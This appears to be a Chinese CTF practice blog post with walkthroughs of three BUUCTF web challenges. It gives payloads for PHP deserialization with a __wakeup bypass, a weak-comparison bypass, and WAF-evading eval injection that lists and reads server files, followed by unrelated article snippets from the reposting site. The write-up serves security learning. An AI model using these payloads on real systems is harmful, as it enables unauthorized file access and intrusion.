[BT]BUUCTF刷题第6天(3.24)

第6天

Web

[极客大挑战 2019]PHP

Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

这道题考点是网站源码备份文件泄露和PHP反序列化,有篇介绍PHP反序列化考点的文章:PHP序列化反序列化漏洞总结(一篇懂)

在这里插入图片描述

打开网站是一个小游戏,根据题目提示得知需要找到网站的备份文件,这里使用dirsearch进行扫描(由于使用dirsearch自带的字典完整扫描一遍耗时过长,因此根据网上的题解我自己写了一个包含正确备份文件的字典,缩短扫描时间)

在这里插入图片描述

返回状态码200,说明确实存在该文件,访问下载

在这里插入图片描述

经过查看,flag.php中不包含正确flag,然后打开index.php进一步查看(发现关键内容:include 'class.php';$res=unserialize(@$select);

在这里插入图片描述

打开class.php文件

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){    /*__construct()当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。*/$this->username = $username;$this->password = $password;}function __wakeup(){                                //__wakeup()将在反序列化之后立即调用$this->username = 'guest';}function __destruct(){                             /* __destruct()在到某个对象的所有引用都被删除或者当对象被显式销毁时执行*/if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

需要反序列化后的对象满足username === 'admin’且password = 100

初始Payload:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

生成代码:
user

<?php
class Name
{private $username = 'admin';private $password = '100';
}
echo serialize(new Name());
?>

在这里插入图片描述

因为usernamepassword变量是private类型,变量中的类名前后会有空白符,而复制的时候会丢失,所以还需要加上%00(private类型序列化结果是%00类名%00属性值)

修改后的Payload:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

但是如果直接将这行字符串传进去反序列化的话网站会首先执行__wakeup()魔法方法修改username 为 ‘guest’,所以需要修改属性数量(当对象的属性数量和序列化后的属性数量值不等时会不执行__wakeup()魔法方法)

最终Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

注意“Name”后的2变成了3(只要不等于2就行)

通过GET传参获取flag

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

Payload:

http://a9e22c40-e35e-48a3-81f3-61db800e704d.node5.buuoj.cn:81?key=123

在这里插入图片描述
提示我们需要找到源代码,所以这道题的解题思路也是备份文件,通过dirsearch扫描

在这里插入图片描述

发现了index.php.bak文件,访问这个文件自动下载

直接打开后得到源码:

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}
?>

考点是==的弱类型比较:

  1. === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较具体值
  2. == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较
  3. 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且按照数值来进行比较

这里$str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;被截取前三位,即123后与$key进行比较

因此直接传?key=123即可拿到flag(注意只能是数字123,不能是字符串123,即'123'

[RoarCTF 2019]Easy Calc

在这里插入图片描述
打开网站发现是一个类似计算器的内容,F12看到提示说网站使用了WAF防护并且还有一个calc.php文件

在这里插入图片描述

访问calc.php文件得到:

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

可以看到假如我们传给num一个合适的值后(绕过黑名单)就能通过eval函数执行命令

当num为数字时网页正常返回,但当num为非数字时,WAF会检测num并禁止访问

这里的思路是,WAF检测的是"num"参数,若我们在num参数前添加空格,让num变成 num,那么就可以绕过WAF,并且php在接受参数时会将空格删除,将 num转变成num

接下来是构造命令,因为php文件不允许空格和\,所以使用chr(ASCII码)进行绕过

源Payload:

? num=scandir("/")      //scandir可以扫描目录,这里是根目录

绕过后的Payload:

? num=var_dump(scandir(chr(47)))

在这里插入图片描述

发现[5]=> string(5) "f1agg",进行访问

源Payload:

? num=file_get_contents("/f1agg")      //

绕过后的Payload:

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/285198.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

t-rex2开放集目标检测

论文链接&#xff1a;http://arxiv.org/abs/2403.14610v1 项目链接&#xff1a;https://github.com/IDEA-Research/T-Rex 这篇文章的工作是基于t-rex1的工作继续做的&#xff0c;核心亮点&#xff1a; 是支持图片/文本两种模态的prompt进行输入&#xff0c;甚至进一步利用两…

013_Linux(上传rz,下载sz,tar,zip,unzip)

目录 一、上传、下载 1、通过鼠标操作 &#xff08;1&#xff09;下载 &#xff08;2&#xff09;上传 2、通过命令操作 rz、sz &#xff08;1&#xff09;下载 sz &#xff08;2&#xff09;上传 rz 二、压缩、解压 1、tar命令 &#xff08;1&#xff09;压缩 &…

使用amd架构的计算机部署其他架构的虚拟机(如:arm)

1 下载quem模拟器 https://qemu.weilnetz.de/w64/2 QEMU UEFI固件文件下载(引导文件) 推荐使用&#xff1a;https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd3 QEMU 安装 安装完成之后&#xff0c;需要将安装目录添加到环境变…

vscode的一些技巧

技巧1&#xff1a;调试时传参数 在launch.json的configuration中"pwd"或者"program"选项之后添加如下选项&#xff1a; “--args”:["参数1", "参数2", ..., "参数3] 参数之间使用逗号隔开 技巧2&#xff1a;断点 普通断点使…

通过dbeaver链接dm8数据库

一、环境说明 windows 11 vmware 17 ubuntu 22 tt:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.3 LTS Release: 22.04 Codename: jammytt:~$ docker info Client:Version: 24.0.5Context: d…

Python 全栈系列236 rabbit_agent搭建

说明 通过rabbit_agent, 以接口方式实现对队列的标准操作&#xff0c;将pika包在微服务内&#xff0c;而不必在太多地方重复的去写。至少在服务端发布消息时&#xff0c;不必再去考虑这些问题。 在分布式任务的情况下&#xff0c;客户端本身会启动一个持续监听队列的客户端服…

Java研学-SpringBoot(二)

二 Spring Boot 介绍 1 简介 Spring Boot是由Pivotal团队提供的全新框架&#xff0c;主要目标是简化Spring应用程序的配置和部署过程&#xff0c;减少开发者在项目搭建和配置上的工作量&#xff0c;让开发者能够更专注于业务逻辑的实现。它使用特定的方式来进行配置&#xff0…

Request请求参数----中文乱码问题

一: GET POST获取请求参数: 在处理为什么会出现中文乱码的情况之前, 首先我们要直到GET 以及 POST两种获取请求参数的不同 1>POST POST获取请求参数是通过输入流getReader来进行获取的, 通过字符输入流来获取响应的请求参数, 并且在解码的时候, 默认的情况是 ISO_885…

基于SpringBoot+Vue+Mybatis的408刷题小程序管理端

简介 原始数据&#xff1a;书目信息、章节信息、题目信息、系统菜单、系统角色、系统用户。 主要任务&#xff1a;系统主要采用spring boot作为后端框架&#xff0c;前端使用vueelementUI&#xff0c;为408刷题小程序提供一个方面的管理和维护的任务&#xff0c;主要功能包括…

图解Kafka架构学习笔记(三)

准备Kafka环境 这里推荐使用Docker Compose快速搭建一套本地开发环境。 以下docker-compose.yml文件用来搭建一套单节点zookeeper和单节点kafka环境&#xff0c;并且在8080端口提供kafka-ui管理界面。 version: 2.1services:zoo1:image: confluentinc/cp-zookeeper:7.3.2hos…

day6:STM32MP157——串口通信实验

使用的是cortex A7内核 【串口通信的工作原理】 本次实验使用的是uart4的串口&#xff0c;分别使用了uart4_tx和uart4_rx两个引脚。根据板子的原理图我们可以知道&#xff0c;他们分别对应着芯片的PG11和PB2 从引脚名字也可以知道使用了GPIO口&#xff0c;所以本次实验同样需…

ubuntu20.04安装 ffmpeg 开发环境

参考&#xff1a;参考1 一些相关软件包&#xff0c;已打包整理好&#xff0c;如下 源码包 1、安装步骤 创建安装目录 sudo mkdir -p /usr/local/ffmpeg/lib 解压源码 tar -jxf ffmpeg-4.3.2.tar.bz2 到指定ffmpeg目录进行配置 cd ffmpeg-4.3.2/ 配置&#xff1a;会报错很多…

Spark Streaming DStream

Spark Streaming DStream DStream 即Discretized Stream&#xff0c;中文叫做离散流&#xff0c;Spark Streaming提供的一种高级抽象&#xff0c;代表了一个持续不断的数据流。 DStream可以通过输入数据源来创建&#xff0c;比如Kafka、Flume&#xff0c;也可以通过对其他DS…

【JAVA】通过JAVA实现用户界面的登录

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法|MySQL| ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-wyCvaz0EBNwHcwsi {font-family:"trebuchet ms",verdana,arial,sans-serif;f…

2025汤家凤考研数学视频,基础网课百度网盘课程+PDF讲义资料

2025汤家凤大神及数学全程 docs.qq.com/doc/DTmtOa0Fzc0V3WElI 复制粘贴到浏览器&#xff0c;可以见所有的Ke 第一轮 夯实基础 1.阅读大纲考查要求&#xff0c;明确每章的学习目标&#xff1b; 2.按节学习数学理论基础知识&#xff0c;吃透书中例题&#xff1b; 3.学习每章…

数学建模综合评价模型与决策方法

评价方法主要分为两类&#xff0c;其主要区别在确定权重的方法上 一类是主观赋权法&#xff0c;多次采取综合资讯评分确定权重&#xff0c;如综合指数法&#xff0c;模糊综合评判法&#xff0c;层次评判法&#xff0c;功效系数法等 另一类是客观赋权法&#xff0c;根据各指标…

ubuntu上一款好用的串口工具screen

看名字&#xff0c;你猜他是什么&#xff1f; 安装 sudo apt install screen 然后将USB串口接到虚拟机&#xff0c;执行dmesg命令查看串口设备名&#xff1a; 测试&#xff1a; sudo screen /dev/ttyUSB0 115200确实很简单。

机器视觉学习(六)—— 图像的颜色识别

目录 一、色彩空间 1.1 RGB色彩空间 1.2 HSV色彩空间 1.3 灰度 1.4 CMYK色彩空间 1.5 Lab色彩空间 二、色彩空间转换 三、识别颜色 3.1 识别一种特定的颜色 3.2 识别多种颜色 一、色彩空间 计算机视觉中常用的色彩空间有RGB色彩空间、HSV色彩空间、CMYK色彩空间、La…

如何设计循环队列(两种方法)

文章目录 前言一、方法一:数组法二、方法二.链表法总结 前言 前面有提到过队列的知识&#xff0c;这次来说一下怎么设计一个循环队列 一.循环队列&#xff08;力扣&#xff09; . - 力扣&#xff08;LeetCode&#xff09;. - 备战技术面试&#xff1f;力扣提供海量技术面试资…

Java Synchronized

Synchronized Synchronized 原理偏向锁轻量级锁重量级锁 Synchronized特征jdk1.8Synchronized优化了什么&#xff1f;Synchronized修饰范围Synchronized lock 区别 Synchronized 原理 在Java对象内存布局中&#xff0c;每个对象都有一个对象头&#xff0c;其中包含锁状态信息。…